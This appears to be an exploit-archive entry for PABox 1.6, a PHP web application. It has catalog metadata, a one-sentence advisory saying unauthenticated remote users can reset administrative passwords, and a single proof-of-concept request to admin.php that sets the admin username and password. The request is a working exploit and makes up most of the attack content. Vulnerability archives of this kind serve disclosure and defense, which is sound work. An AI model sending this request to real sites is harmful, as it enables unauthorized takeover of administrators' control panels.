PABox 1.6 - Password Reset

Author: silentscripter
type: webapps
platform: php
port: 
date_added: 2003-06-30 
date_updated: 2012-11-20 
verified: 1 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/8067/info

paBox is prone to an issue that may allow unauthenticated remote users to reset administrative passwords. This could permit unauthorized access to the administrative Control Panel.

http://www.example.com/thebox/admin.php?act=write&username=admin&password=admin&aduser=admin&adpass=admin